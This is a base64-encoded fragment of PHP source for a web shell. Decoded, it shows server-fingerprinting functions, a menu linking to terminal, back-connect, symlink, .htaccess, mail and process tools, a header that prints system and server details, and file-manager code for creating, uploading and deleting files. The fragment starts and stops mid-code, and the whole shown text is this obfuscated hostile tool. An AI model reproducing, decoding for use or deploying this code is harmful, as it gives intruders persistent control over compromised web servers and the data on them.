SANCgl7DQoJCSR1aWQ9cG9zaXhfZ2V0cHd1aWQocG9zaXhfZ2V0dWlkKCkpOw0KCQkkZ2lkPXBvc2l4X2dldGdyZ2lkKHBvc2l4X2dldGdpZCgpKTsNCgkJDQoJCXN3aXRjaCgkeCkgDQoJCXsJDQoJCQljYXNlICd1c3InOnJldHVybiAkdWlkWyduYW1lJ107YnJlYWs7DQoJCQljYXNlICd1aWQnOnJldHVybiAkdWlkWyd1aWQnXTticmVhazsNCgkJCWNhc2UgJ2dycCc6cmV0dXJuICRnaWRbJ25hbWUnXTticmVhazsNCgkJCWNhc2UgJ2dpZCc6cmV0dXJuICRnaWRbJ2dpZCddO2JyZWFrOw0KCQl9DQoJfQ0KCWVsc2UNCgl7DQoJCXN3aXRjaCgkeCkNCgkJew0KCQkJY2FzZSAndXNyJzpyZXR1cm4gZ2V0X2N1cnJlbnRfdXNlcigpO2JyZWFrOw0KCQkJY2FzZSAndWlkJzpyZXR1cm4gZ2V0bXl1aWQoKTticmVhazsNCgkJCWNhc2UgJ2dycCc6cmV0dXJuICI/IjticmVhazsNCgkJCWNhc2UgJ2dpZCc6cmV0dXJuIGdldG15Z2lkKCk7YnJlYWs7DQoJCX0NCgl9CQ0KfQ0KDQpmdW5jdGlvbiBHZXRPd25lckdyb3VwKCR4KSANCnsNCglpZihVbml4KCkpDQoJew0KCQlpZihmdW5jdGlvbl9leGlzdHMoJ3Bvc2l4X2dldHB3dWlkJykmJmZ1bmN0aW9uX2V4aXN0cygncG9zaXhfZ2V0Z3JnaWQnKSkgDQoJCXsNCgkJCSR1c2VyPXBvc2l4X2dldHB3dWlkKGZpbGVvd25lcigkeCkpOw0KCQkJJGdyb3VwPXBvc2l4X2dldGdyZ2lkKGZpbGVncm91cCgkeCkpOw0KCQkJcmV0dXJuIHNwcmludGYoJyVzOiVzJywkdXNlclsnbmFtZSddLCRncm91cFsnbmFtZSddKTsNCgkJfQ0KCX0NCglyZXR1cm4gIj86PyI7DQp9DQoNCmZ1bmN0aW9uIEdldEZpbGVPd25lckdyb3VwKCR4KSANCnsNCglpZihVbml4KCkpDQoJew0KCQlpZihmdW5jdGlvbl9leGlzdHMoJ3Bvc2l4X2dldHB3dWlkJykmJmZ1bmN0aW9uX2V4aXN0cygncG9zaXhfZ2V0Z3JnaWQnKSkgDQoJCXsNCgkJCSR1c2VyPXBvc2l4X2dldHB3dWlkKGZpbGVvd25lcigkeCkpOw0KCQkJJGdyb3VwPXBvc2l4X2dldGdyZ2lkKGZpbGVncm91cCgkeCkpOw0KCQkJcmV0dXJuIHNwcmludGYoJyVzOiVzLyVzOiVzJywkdXNlclsnbmFtZSddLCR1c2VyWyd1aWQnXSwkZ3JvdXBbJ25hbWUnXSwkZ3JvdXBbJ2dpZCddKTsNCgkJfQ0KCX0NCglyZXR1cm4gIj86Py8/Oj8iOw0KfQ0KDQpmdW5jdGlvbiBHZXRTYWZlTW9kZSgpIA0Kew0KCWlmKHN0cnRvbG93ZXIoaW5pX2dldCgic2FmZV9tb2RlIikpPT0nb24nKSANCgl7DQoJCSRzYWZlbW9kPSI8Zm9udCBjbGFzcz0nb2ZmJz5PTjwvZm9udD4iOw0KCX0NCgllbHNlDQoJew0KCQkkc2FmZW1vZD0iPGZvbnQgY2xhc3M9J29uJz5PRkY8L2ZvbnQ+IjsNCgl9DQoJcmV0dXJuICRzYWZlbW9kOw0KfQ0KDQpmdW5jdGlvbiBNYXBEaXJlY3RvcnkoJHgpIA0Kew0KCSRtYXA9IiI7DQoJJGQ9c3RyX3JlcGxhY2UoIlxcIixfLCR4KTsNCglpZihlbXB0eSgkZCkpDQoJew0KCQkkZD1yZWFscGF0aCgiLiIpOw0KCX0NCgllbHNlaWYocmVhbHBhdGgoJGQpKQ0KCXsJDQoJCSRkPXJlYWxwYXRoKCRkKTsNCgl9DQoJJGQ9c3RyX3JlcGxhY2UoIlxcIixfLCRkKTsNCglpZihzdWJzdHIoJGQsLTEpIT1fKSANCgl7CQ0KCQkkZC49XzsNCgl9DQoJJGQ9c3RyX3JlcGxhY2UoIlxcXFwiLCJcXCIsJGQpOw0KCSRwZD0kZT1leHBsb2RlKF8sc3Vic3RyKCRkLDAsLTEpKTsNCgkkaT0wOw0KCWZvcmVhY2goJHBkIGFzICRiKSANCgl7DQoJCSR0PSIiOw0KCQkkaj0wOw0KCQlmb3JlYWNoKCRlIGFzICRyKSANCgkJew0KCQkJJHQuPSRyLl87DQoJCQlpZigkaj09JGkpIA0KCQkJewkNCgkJCQlicmVhazsNCgkJCX0NCgkJCSRqKys7DQoJCX0NCgkJJG1hcC49IjxhIGhyZWY9XCI/ZD0iLnVybGUoJHQpLiJcIiA+Ii5odG1sc3BlY2lhbGNoYXJzKCRiKS4iPC9hPiIuXzsNCgkJJGkrKzsNCgl9DQoJcmV0dXJuIHJ0cmltKCRtYXAsXyk7DQp9DQoNCmZ1bmN0aW9uIE1hcERyaXZlKCR4KSANCnsNCglpZighVW5peCgpKSANCgl7DQoJCSR2PWV4cGxvZGUoIlxcIiwkeCk7DQoJCSR2PSR2WzBdOw0KCQkkbD0iIjsNCgkJZm9yZWFjaChyYW5nZSgiQSIsIloiKSBhcyAkbHQpIA0KCQl7DQoJCQkkZHJpdmU9aXNfZGlyKCRsdC4iOlxcIik7DQoJCQlpZigkZHJpdmUpIA0KCQkJew0KCQkJCSRsLj0iPGEgaHJlZj1cIj9kPSIudXJsZSgkbHQuIjpcXCIpLiJcIj5bIjsNCgkJCQlpZihzdHJ0b2xvd2VyKCRsdC4nOicpIT1zdHJ0b2xvd2VyKCR2KSkgDQoJCQkJew0KCQkJCQkkbC49JGx0Ow0KCQkJCX0NCgkJCQllbHNlDQoJCQkJew0KCQkJCQkkbC49Ijxmb250IGNvbG9yPVwib3JhbmdlXCI+PGI+Ii4kbHQuIjwvYj48L2ZvbnQ+IjsNCgkJCQl9DQoJCQkJJGwuPSJdPC9hPiI7DQoJCQl9DQoJCX0NCgkJcmV0dXJuICRsOw0KCX0NCn0NCg0KZnVuY3Rpb24gTWFpbk1lbnUoKSANCnsNCgkkbWVudT1hcnJheSgNCgkJIkV4cEwiICAgICAgICAgID0+ICI/ZD0iLnVybGUoZ2V0Y3dkKCkpLA0KCQkiJiM5NzMzOyBTZWMuIgk9PiAiP3g9c2VjdXJlIiwNCgkJIkluZm8iICAgICAgICAgID0+ICI/eD1pbmZvIiwNCgkJIkRhdGFiYXNlIiAgICAgID0+ICI/eD1kYiIsDQoJCSJUZXJtaW5hbCIgICAgICA9PiAiP3g9dGVybWluYWwiLA0KCQkiQ29ubmVjdCIgICAgICAgPT4gIj94PWNvbm5lY3QiLA0KCQkiLkh0YWNjZXNzIiAgICAgPT4gIj94PWh0YWNjZXNzIiwNCgkJIlBIUCIgICAgICAgICAgID0+ICI/eD1waHAiLA0KCQkiUGVybC9DR0kiICAgICAgPT4gIj94PXBlcmwiLA0KCQkiTWFpbCIgICAgICAgICAgPT4gIj94PW1haWwiLA0KCQkiUHJvY2VzcyIgICAgICAgPT4gIj94PXByb2Nlc3MiLA0KCQkiU2hlbGxzIiAgICAgICAgPT4gIj94PXNoZWxscyIsDQoJCSJTeW1saW5rIiAgICAgICA9PiAiP3g9c3ltbGluayIsDQoJCSImIzk4MTk7IFRvb2xzIiA9PiAiP3oiLA0KCQkiQWNjb3VudCIgICAgICAgPT4gIj94PWFjY291bnQiLA0KCQkiVXBkYXRlIiAgICAgICAgPT4gIj94PXVwZGF0ZSIsDQoJCSJMb2dvdXQiICAgICAgICA9PiAiP3g9bG9nb3V0Ig0KCSk7DQoJJG51PSIiOw0KCWZvcmVhY2goJG1lbnUgYXMgJGtleSA9PiAkdmFsKQ0KCXsNCgkJJGlkeGtleT1zdWJzdHIoJHZhbCwxLDEpOw0KCQkkaWR4dmFsPXN1YnN0cigkdmFsLDMpOw0KCQkkYWN0aXZlPWFueSgkaWR4a2V5LCRfUkVRVUVTVCkmJiRfUkVRVUVTVFskaWR4a2V5XT09JGlkeHZhbD8iY2xhc3M9J2FjdGl2ZSciOiIiOw0KCQlpZigka2V5PT0iTG9nb3V0IikNCgkJew0KCQkJJG51Lj0iPGxpPjxhICIuJGFjdGl2ZS4iIGhyZWY9JyIuJHZhbC4iJyBvbmNsaWNrPVwicmV0dXJuIGNvbmZpcm0oJ0J5ZSAhJyk7XCI+Ii4ka2V5LiI8L2E+PC9saT4iOw0KCQl9DQoJCWVsc2UNCgkJew0KCQkJJG51Lj0iPGxpPjxhICIuJGFjdGl2ZS4iIGhyZWY9JyIuJHZhbC4iJz4iLiRrZXkuIjwvYT48L2xpPiI7DQoJCX0NCgl9DQoJcmV0dXJuICRudTsNCn0NCg0KZnVuY3Rpb24gTWVudVRvb2xzKCR4KSANCnsNCglnbG9iYWwgJG1lbnVfdG9vbHM7DQoJJG9sPSI8ZGl2IGNsYXNzPSdtZW51LXRvb2xzJz48dWw+IjsNCgkkbWVudV90b29scz0keDsNCgkNCglmb3JlYWNoKCRtZW51X3Rvb2xzIGFzICRrID0+ICR2KQ0KCXsNCgkJJGFjdGl2ZT0kX1JFUVVFU1RbJ3onXT09JGs/ImNsYXNzPSdhY3RpdmUnIjoiIjsNCgkJJG9sLj0iPGxpPjxhICIuJGFjdGl2ZS4iIGhyZWY9Jz96PSIuJGsuIic+WyIuJHZbJ3RpdGxlJ10uIl08L2E+PC9saT4iOw0KCX0NCgkkb2wuPSI8L3VsPjwvZGl2PiI7DQoJcmV0dXJuICRvbDsNCn0NCg0KcHJpbnRmKCI8ZGl2IGlkPSdoZWFkZXInPg0KCQk8ZGl2IGNsYXNzPSdoZWFkZXItbGVmdCc+DQoJCQk8ZGl2IGlkPSdpbmZvJz4NCgkJCQk8Zm9udCBjbGFzcz0nb24nPlslc108L2ZvbnQ+PGJyPg0KCQkJCTxmb250IGNsYXNzPSdvbic+WyVzXTwvZm9udD48YnI+DQoJCQkJWzxhIGhyZWY9Jy8vJXMnIHRhcmdldD0nX2JsYW5rJz4lczwvYT5dOiA8Zm9udCBjbGFzcz0nb24nPiVzOiVzPC9mb250PiBbJXNdOiA8Zm9udCBjbGFzcz0nb24nPiVzOiVzPC9mb250Pjxicj4NCgkJCQlbVVNFUl06IDxmb250IGNsYXNzPSdvbic+JXMoJXMpPC9mb250PiBbR1JPVVBdOiA8Zm9udCBjbGFzcz0nb24nPiVzKCVzKTwvZm9udD48YnI+DQoJCQkJW0hERF06IDxmb250IGNsYXNzPSdvbic+JXM8L2ZvbnQ+IC8gPGZvbnQgY2xhc3M9J29uJz4lczwvZm9udD48YnI+DQoJCQkJW1BIUE1PREVdOiA8Zm9udCBjbGFzcz0nb24nPiVzPC9mb250Pjxicj4NCgkJCQlbU0FGRU1PREVdOiA8Zm9udCBjbGFzcz0nb24nPiVzPC9mb250Pjxicj4NCgkJCTwvZGl2Pg0KCQk8L2Rpdj4NCgkJPGRpdiBjbGFzcz0naGVhZGVyLXJpZ2h0Jz4NCgkJCTxhIGhyZWY9JyVzJz48ZGl2IGlkPSdsb2dvJz4NCgkJCQk8aDEgaWQ9J3RpdGxlJz4lczwvaDE+DQoJCQkJPGRpdiBjbGFzcz0nbGluZSc+PC9kaXY+DQoJCQkJPGgyIGlkPSdzdWJ0aXRsZSc+JXM8L2gyPg0KCQkJPC9kaXY+PC9hPg0KCQk8L2Rpdj4NCgkJPGRpdiBjbGFzcz0nY2xyJz48L2Rpdj4NCgkJPC9kaXY+DQoJCTxkaXYgaWQ9J2NvbnRhaW5lcic+DQoJCTxkaXYgY2xhc3M9J21lbnUnPg0KCQkJPHVsPiVzPC91bD4NCgkJPC9kaXY+DQoJCTxkaXYgY2xhc3M9J21lbnUtZGlyZWN0b3J5Jz4NCgkJCTxkaXYgY2xhc3M9J21hcC1zd2l0Y2gnPg0KCQkJCTxpbnB1dCB0eXBlPSdzdWJtaXQnIG5hbWU9J21hcC1zd2l0Y2gnIHZhbHVlPScmIzk4MjI7JyBvbmNsaWNrPSdtYXBTd2l0Y2goXCJtYXAxXCIsXCJtYXAyXCIpJz4NCgkJCTwvZGl2Pg0KCQkJPGRpdiBjbGFzcz0nbWFwMScgaWQ9J21hcDEnIHN0eWxlPSdkaXNwbGF5OmlubGluZS1ibG9jayc+DQoJCQkJPHNwYW4gc3R5bGU9J21hcmdpbi1yaWdodDo1cHgnPiVzPC9zcGFuPg0KCQkJCTxzcGFuIHN0eWxlPSdtYXJnaW4tcmlnaHQ6NXB4Jz4lczwvc3Bhbj4NCgkJCTwvZGl2Pg0KCQkJPGRpdiBjbGFzcz0nbWFwMicgaWQ9J21hcDInIHN0eWxlPSdkaXNwbGF5Om5vbmUnPg0KCQkJCTxmb3JtIG1ldGhvZD0ncG9zdCcgaWQ9J21hcDItZm9ybScgb25zdWJtaXQ9J2RvY3VtZW50LmdldEVsZW1lbnRCeUlkKFwibWFwMi1mb3JtXCIpLmFjdGlvbj1cIj9nPVwiICsgZW5jb2RlVVJJKGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKFwibWFwMi1pbnB1dFwiKS52YWx1ZSk7Jz4NCgkJCQkJPGlucHV0IHR5cGU9J3RleHQnIHZhbHVlPSclcycgaWQ9J21hcDItaW5wdXQnLz4NCgkJCQkJPGlucHV0IHR5cGU9J3N1Ym1pdCcgdmFsdWU9J0dvJz4NCgkJCQk8L2Zvcm0+DQoJCQk8L2Rpdj4NCgkJPC9kaXY+DQoJCTxkaXYgY2xhc3M9J2NvbnRlbnQnPiIsDQoJCXBocF91bmFtZSgpLHNlcnZlcl9zb2Z0d2FyZSwNCgkJc2VydmVyX25hbWUsc2VydmVyX25hbWUsZ2V0aG9zdGJ5bmFtZShodHRwX2hvc3QpLHNlcnZlcl9wb3J0LA0KCQlCNjREKCRhY2NvdW50WzBdKSxyZW1vdGVfYWRkcixyZW1vdGVfcG9ydCwNCgkJR2V0VXNlcigidXNyIiksR2V0VXNlcigidWlkIiksR2V0VXNlcigiZ3JwIiksR2V0VXNlcigiZ2lkIiksDQoJCUdldEZpbGVTaXplKEBkaXNrX2ZyZWVfc3BhY2UoJGRpcikpLEdldEZpbGVTaXplKEBkaXNrX3RvdGFsX3NwYWNlKCRkaXIpKSwNCgkJcGhwX3NhcGlfbmFtZSgpLEdldFNhZmVNb2RlKCkscGhwX3NlbGYsJGNvbmZpZ1sndGl0bGUnXSwkY29uZmlnWydzdWJ0aXRsZSddLA0KCQlNYWluTWVudSgpLE1hcERyaXZlKCRtYXApLE1hcERpcmVjdG9yeSgkbWFwKSwkbWFwDQopOw0KDQppZihhbnkoImciLCRfUkVRVUVTVCkpDQp7DQoJJGc9JF9SRVFVRVNUWydnJ107DQoNCglpZiAoaXNfZGlyKCRnKSkNCgl7DQoJCWhlYWRlcignbG9jYXRpb246Jy5waHBfc2VsZi4nP2Q9Jy51cmxlKCRnKSk7DQoJfQ0KCWVsc2VpZihpc19maWxlKCRnKXx8aXNfbGluaygkZykpDQoJew0KCQloZWFkZXIoJ2xvY2F0aW9uOicucGhwX3NlbGYuJz9hPXYmcj0nLnVybGUoJGcpKTsNCgl9DQoJZWxzZQ0KCXsNCgkJaGVhZGVyKCdsb2NhdGlvbjonLnBocF9zZWxmKTsNCgl9DQp9DQoNCmlmKGFueSgiZCIsJF9SRVFVRVNUKXx8cmVxdWVzdF91cmk9PT1zY3JpcHRfbmFtZSkNCnsNCgkkX1NFU1NJT05bJ2MnXT11cmxlKCRkaXIpOw0KDQoJaWYoYW55KCJmaWxlIiwkX1JFUVVFU1QpJiYkX1JFUVVFU1RbJ2ZpbGUnXT09Ik5ldyBGaWxlIikNCgl7DQoJCSRmaWxlPXRyaW0oJGRpci5fLiRfUkVRVUVTVFsnd2hhdCddKTsNCgkJDQoJCWlmKGZpbGVfZXhpc3RzKCRmaWxlKSkNCgkJew0KCQkJcHJpbnRmKCI8Y2VudGVyIHN0eWxlPSdtYXJnaW4tYm90dG9tOjEwcHgnPjxiIGNsYXNzPSdvZmYnPkNhbid0IGNyZWF0ZSBOZXcgRmlsZSE8L2I+PC9jZW50ZXI+Iik7DQoJCX0NCgkJZWxzZQ0KCQl7DQoJCQkkbWY9QGZvcGVuKCRmaWxlLCJ3Iik7DQoJCQlmY2xvc2UoJG1mKTsNCgkJCWhlYWRlcigibG9jYXRpb246Ii5waHBfc2VsZi4iP2E9ZSZyPSIudXJsZSgkZmlsZSkpOw0KCQl9DQoJfQ0KCWlmKGFueSgiZGlyZWN0b3J5IiwkX1JFUVVFU1QpJiYkX1JFUVVFU1RbJ2RpcmVjdG9yeSddPT0iTmV3IERpciIpDQoJewkNCgkJJGRpcmU9dHJpbSgkX1JFUVVFU1RbJ3doYXQnXSk7DQoNCgkJQGNoZGlyKCRkaXIpOw0KDQoJCWlmKCFAbWtkaXIoJGRpcmUpKQ0KCQl7DQoJCQlwcmludGYoIjxjZW50ZXIgc3R5bGU9J21hcmdpbi1ib3R0b206MTBweCc+PGIgY2xhc3M9J29mZic+Q2FuJ3QgY3JlYXRlIE5ldyBEaXJlY3RvcnkhPC9iPjwvY2VudGVyPiIpOw0KCQl9DQoJCWVsc2UNCgkJew0KCQkJcHJpbnRmKCI8Y2VudGVyIHN0eWxlPSdtYXJnaW4tYm90dG9tOjEwcHgnPjxiIGNsYXNzPSdvbic+RGlyZWN0b3J5ICclcycgQ3JlYXRlZCBvbiAlczwvYj48L2NlbnRlcj4iLCRkaXJlLEdldEZpbGVUaW1lKCRkaXIuXy4kZGlyZSwnY3JlYXRlJykpOw0KCQl9DQoJfQ0KCWlmKGFueSgidXBsb2FkIiwkX1JFUVVFU1QpJiYkX1JFUVVFU1RbJ3VwbG9hZCddPT0iVXBsb2FkIikNCgl7CQ0KCQkkdXBsb2FkPSRkaXIuXy50cmltKGJhc2VuYW1lKCRfRklMRVNbIndoYXQiXVsibmFtZSJdKSk7DQoNCgkJaWYobW92ZV91cGxvYWRlZF9maWxlKCRfRklMRVNbIndoYXQiXVsidG1wX25hbWUiXSwkdXBsb2FkKSkgDQoJCXsNCgkJCXByaW50ZigiPGNlbnRlciBzdHlsZT0nbWFyZ2luLWJvdHRvbToxMHB4Jz48YiBjbGFzcz0nb24nPkZpbGUgJXMgaGFzIGJlZW4gdXBsb2FkZWQ8L2I+PC9jZW50ZXI+IixiYXNlbmFtZSgkX0ZJTEVTWyJ3aGF0Il1bIm5hbWUiXSkpOw0KCQl9DQoJCWVsc2UgDQoJCXsNCgkJCXByaW50ZigiPGNlbnRlciBzdHlsZT0nbWFyZ2luLWJvdHRvbToxMHB4Jz48YiBjbGFzcz0nb2ZmJz4mIzEwMDA1OyBDYW4ndCB1cGxvYWQgbmV3IGZpbGUhICYjMTAwMDU7PC9iPjwvY2VudGVyPiIpOw0KCQl9DQoJfQ0KCWlmKCRoYW5kbGU9QG9wZW5kaXIoJGRpcikpDQoJew0KCQkkcmVhZHM9YXJyYXkoKTsNCgkJJGNvdW50X2RpcnM9MDsNCgkJJGNvdW50X2ZpbGVzPTA7DQoNCgkJd2hpbGUoZmFsc2UhPT0oJGZpbGU9cmVhZGRpcigkaGFuZGxlKSkpDQoJCXsNCgkJCSRmaWxlZGlyPXJ0cmltKCRkaXIsXykuXy4kZmlsZTsNCgkJCSR1cGRpcj1zdWJzdHIoJGRpciwwLHN0cnJwb3MoJGRpcixfKSk7DQoJCQlpZiAoc3RybGVuKCR1cGRpcik8PTIpICR1cGRpcj0kdXBkaXIuXzsNCgkJCSR0eXBlPUdldEZpbGVUeXBlKCRmaWxlZGlyKTsNCgkJCSRzaXplPUdldEZpbGVTaXplKEBmaWxlc2l6ZSgkZmlsZWRpcikpOw0KCQkJJGxhc3Q9R2V0RmlsZVRpbWUoJGZpbGVkaXIsIm1vZGlmeSIpOw0KCQkJJHBlcm09R2V0RmlsZVBlcm0oJGZpbGVkaXIpOw0KCQkJJG93bmVyPUdldE93bmVyR3JvdXAoJGZpbGVkaXIpOw0KCQkJJG1pbWU9QG1pbWVfY29udGVudF90eXBlKCRmaWxlZGlyKTsNCgkJCSR2aWV3PSIiOw0KDQoJCQlpZihzdHJwb3MoJG1pbWUsJ2ltYWdlJykhPT1mYWxzZSkNCgkJCXsNCgkJCQkkdmlldz0iP2E9diZ3PWkmcj0iLnVybGUoJGZpbGVkaXIpOw0KCQkJfQ0KCQkJZWxzZWlmKHN0cnBvcygkbWltZSwndmlkZW8nKSE9PWZhbHNlKQ0KCQkJew0KCQkJCSR2aWV3PSI/YT12Jnc9diZyPSIudXJsZSgkZmlsZWRpcik7DQoJCQl9DQoJCQllbHNlaWYoc3RycG9zKCRtaW1lLCdhdWRpbycpIT09ZmFsc2UpDQoJCQl7DQoJCQkJJHZpZXc9Ij9hPXYmdz1hJnI9Ii51cmxlKCRmaWxlZGlyKTsNCgkJCX0NCgkJCWVsc2UNCgkJCXsNCgkJCQkkdmlldz0iP2E9diZyPSIudXJsZSgkZmlsZWRpcik7DQoJCQl9DQoJCQkNCgkJCWlmKCRmaWxlPT0iLiIpDQoJCQl7DQoJCQkJJHJlYWRzW109Ijx0ciBzb3J0dGFibGVfY3VzdG9ta2V5PScyJz48dGQ+PGNlbnRlcj48aW5wdXQgdHlwZT0nY2hlY2tib3gnIG5hbWU9J25vY2hrW10nIHZhbHVlPSciLnVybGUoJGRpcikuIicvPjwvY2VudGVyPjwvdGQ+PHRkPjxpbWcgc3JjPSdkYXRhOmltYWdlL3BuZztiYXNlNjQsaVZCT1J3MEtHZ29BQUFBTlNVaEVVZ0FBQUJBQUFBQVFDQVlBQUFBZjgvOWhBQUFBR1hSRldIUlRiMlowZDJGeVpRQkJaRzlpWlNCSmJXRm5aVkpsWVdSNWNjbGxQQUFBQWQ1SlJFRlVlTnFNVTc5ckZVRVEvdmJ1b2RGRUVrekFJbUJwa1VhYkZQNGxkcGFKaFpYWW0vUmlaV3N2L2hrV0ZnbEJVeVRJZ3lBSUlmZ0lSakh2M3IzOU1lUE03TjNMY2J4QUZ2WjJiMmJuMjIvbW0zWE1qRitITDNZVzdxMjhZU0l3OG1CS29CaWhoaGdDc29PUm90OWQzL3l3ZzNZb3dNWHdOZGUvUHpHbmsydm42UGl0clQrL1BHZU5hZWNnNCtxTlkzRDQzdnkxNkE1d0REZDRBcWcvbmdtcmpsL0dvTjBVNVYxUXF1SFFHM3ErVFBEVmhWd3lCZmZjbVFHSm1TVmZ5Wms3UjNTbmdJNEpLZndESjIrMDV6SWc4Z2JpZXJlVFpSSGhKNUtDTU93REZMamhvQlRuMmcwZ2hhZ2ZLZUlZSkRQRnlpYkpWQnRUUkV3cTYwU3BZdmg1KytQcHdhdEhzeFNtOVFSTFNRcEVWU2Q3L1RZSlViNDlUWDdnenRwampFZmZub1Z3NjYrWXRvdnMxNFlwN0hhS21VWGVYOXJLVW9Nb0xOVzNzcnFJNWZXbjhKZWpyVmtLMFFjcmtGTE9nUzM5eW9LVVFlMjkyV0oxZ3VVSEc4SzJvOEswMG9PMUJUdlhvVzR5YXNjbFVUZ1pZSlk5YUZOZkFUaFg1Q1pSbWN6QVY1Mm9BUG91cEhoV1JJVVVBT295VUlsWVZhQWEvVmJMYnlpWlVpeUZialFGTndpWlFTR2w0SUR5OXNPNVdydHkwUUxLaGRaUHhtZ0djRG84ZWpuK2MvNmVpSzlwb3oxNUt3N0RyL3ZOL3o2VzdxKyswOTEvQVFZQTVtWjhHWUo5SzBBQUFBQUFTVVZPUks1Q1lJST0nLz4gPGEgdGl0bGU9J0N1cnJlbnQgRGlyZWN0b3J5JyBocmVmPSc/ZD0iLnVybGUoJGRpcikuIic+LjwvYT48L3RkPjx0ZD48Y2VudGVyPiIuc3RydG91cHBlcigkdHlwZSkuIjwvY2VudGVyPjwvdGQ+PHRkPjxjZW50ZXI+Ii4kc2l6ZS4iPC9jZW50ZXI+PC90ZD48dGQ+PGNlbnRlcj4iLiRwZXJtLiI8L2NlbnRlcj48L3RkPjx0ZD48Y2VudGVyPiIuJG93bmVyLiI8L2NlbnRlcj48L3RkPjx0ZD48Y2VudGVyPiIuJGxhc3QuIjwvY2VudGVyPjwvdGQ+PHRkPjxhIGNsYXNzPSdhY3Rpb24nIGhyZWY9Jz9hPXgmcj0iLnVybGUoJGRpcikuIicgb25jbGljaz1cInJldHVybiBjb25maXJtKCdEZWxldGUgRGlyZWN0b3J5IFsgLyIuYmFzZW5hbWUoJGRpcikuIiBdID8nKTtcIiB0aXRsZT0nRGVsZXRlIEZvbGRlcic+JiMxMDAwODs8L2E+IDxhIGNsYXNzPSdhY3Rpb24nIGhyZWY9Jz9hPWMmcj0iLnVybGUoJGRpcikuIicgdGl0bGU9J01vZGlmeSBGb2xkZXInPiYjODQ5OTs8L2E+PC90ZD48L3RyPiI7DQoJCQl9DQoJCQllbHNlaWYoJGZpbGU9PSIuLiIpDQoJCQl7DQoJCQkJJHJlYWRzW109Ijx0ciBzb3J0dGFibGVfY3VzdG9ta2V5PScxJz48dGQ+PGNlbnRlcj48aW5wdXQgdHlwZT0nY2hlY2tib3gnIG5hbWU9J25vY2hrW10nIHZhbHVlPSciLnVybGUoJHVwZGlyKS4iJy8+PC9jZW50ZXI+PC90ZD48dGQ+PGltZyBzcmM9J2RhdGE6aW1hZ2UvcG5nO2Jhc2U2NCxpVkJPUncwS0dnb0FBQUFOU1VoRVVnQUFBQkFBQUFBUUNBWUFBQUFmOC85aEFBQUFHWFJGV0hSVGIyWjBkMkZ5WlFCQlpHOWlaU0JKYldGblpWSmxZV1I1Y2NsbFBBQUFBbWxKUkVGVWVOcHNVMHRvVTBFVVBmUHlzeC90VHh1REg5U0NXaFVEb29JYmQ3b1JVVVRNb3VxaTJpSW9DTzZsY2VIV2hlZ3k0RUpGaW5XanJsUVVwVm0wSUlvRnBWREVJdGhtMGRwaWtwZjNadVo2Wjk0bnJYaGhNak0zYzg4OTU5NzdCQkhCMlB6bks4V1B0RGd5V0g1cTc3Y1BIOFBwZFh1aHBRVDRpZlI5dTVzZkpiMWJtdzZWaXZhaEFURHJ4Y1JaMm5qZm9hTXYrMmo3bUxEbjkzTVBpTlJNdkdiTDE4TDlJcEY4aDkvVE4rRVlrTWZmU2lPWEo1K2hrRCtQZHFjTHBJQ1dIT0hjMkNDK0xFeUEvSytjS1FNbmxRSEpYOHdxWUczTUFKeTg4V2E0T0xEdkVxQUVPcEpkMEx4SElNZEhCemlvd1N3VmxGOEQ2UWFpY0swMWtydy9KeW53Y0tvRXdaY3pld3JvVHZaaXJsS0pzNUNxUTVDRzhwYjU3Rm5KVUEwTFlDWE1YNWZpYmQrcDhMV0REZW1jUFpielF5anZIK0tpMVRsSWNpRWxBN2dod0xLVjRrUlpzdHQyc0FOV1JqWVRBR3p1UDJoWFpGcEovR3N4Z0dKMG94MWFvRldzRFh5eXhxQ3MyNit5ZG1hZ0ZOL3JSanltSjE4OThiekd6bVFFMEhDWnBtazVBMFJGSXY4UG4wV1lQc2l1NnQvUnNqNlBhdVZUd2ZmVFN6R0FHWmhVRzJGMDZoRWM5aWJTN09QTU5wNkVyWUZsS2F2bzdNa2htVHFDeFovand6R0E5SHg4MkgyQlpTdzFOVE45R3g4eWNIa2FqVS83TStqSW5zREM3RGlhRW1vMWJObDFBTXI5QVNGZ3FWdTlNQ1RJem9HVWltWFZBbm5hTjBQZEJCRENDWWJFdE1rNndrcFF3SUcwc24wUFFJVUY0R3NUd0xTSUZLTnFGNkRWclFxK0lXVnJRRHhBWVFDLzFTc1lPSTRwT3hLWnJmaWZpVVNiRFVpc2lmN1hscEdJUHVmWGQvdXZkdlptNzYwTTBubzFGWmNucnpVZGp3N2F1M3Z1L0JWZ0FGTFhldVR4aFRYVkFBQUFBRWxGVGtTdVFtQ0MnLz4gPGEgdGl0bGU9J1BhcmVudCBEaXJlY3RvcnknIGhyZWY9Jz9kPSIudXJsZSgkdXBkaXIpLiInPiIuJGZpbGUuIjwvYT48L3RkPjx0ZD48Y2VudGVyPiIuc3RydG91cHBlcigkdHlwZSkuIjwvY2VudGVyPjwvdGQ+PHRkPjxjZW50ZXI+Ii4kc2l6ZS4iPC9jZW50ZXI+PC90ZD48dGQ+PGNlbnRlcj4iLiRwZXJtLiI8L2NlbnRlcj48L3RkPjx0ZD48Y2VudGVyPiIuJG93bmVyLiI8L2NlbnRlcj48L3RkPjx0ZD48Y2VudGVyPiIuJGxhc3QuIjwvY2VudGVyPjwvdGQ+PHRkPjxhIGNsYXNzPSdhY3Rpb24nIGhyZWY9Jz9hPXgmcj0iLnVybGUoJHVwZGlyKS4iJyBvbmNsaWNrPVwicmV0dXJuIGNvbmZpcm0oJ0RlbGV0ZSBEaXJlY3RvcnkgWyAvIi5iYXNlbmFtZSgkdXBkaXIpLiIgXSA/Jyk7XCIgdGl0bGU9J0RlbGV0ZSBGb2xkZXInPiYjMTAwMDg7PC9hPiA8YSBjbGFzcz0nYWN0aW9uJyBocmVmPSc/YT1jJnI9Ii51cmxlKCR1cGRpcikuIicgdGl0bGU9J01vZGlmeSBGb2xkZXInPiYjODQ5OTs8L2E+PC90ZD48L3RyPiI7DQoJCQl9DQoJCQllbHNlDQoJCQl7DQoJCQkJaWYoJHR5cGU9PSJkaXIiKQ0KCQkJCXsNCgkJCQkJJHJlYWRzW109Ijx0ciBzb3J0dGFibGVfY3VzdG9ta2V5PSczJz48dGQ+PGNlbnRlcj48aW5wdXQgdHlwZT0nY2hlY2tib3gnIG5hbWU9J2Noa1tdJyB2YWx1ZT0nIi51cmxlKCRmaWxlZGlyKS4iJyAvPjwvY2VudGVyPjwvdGQ+PHRkPjxpbWcgc3JjPSdkYXRhOmltYWdlL3BuZztiYXNlNjQsaVZCT1J3MEtHZ29BQUFBTlNVaEVVZ0FBQUJBQUFBQVFDQVlBQUFBZjgvOWhBQUFBR1hSRldIUlRiMl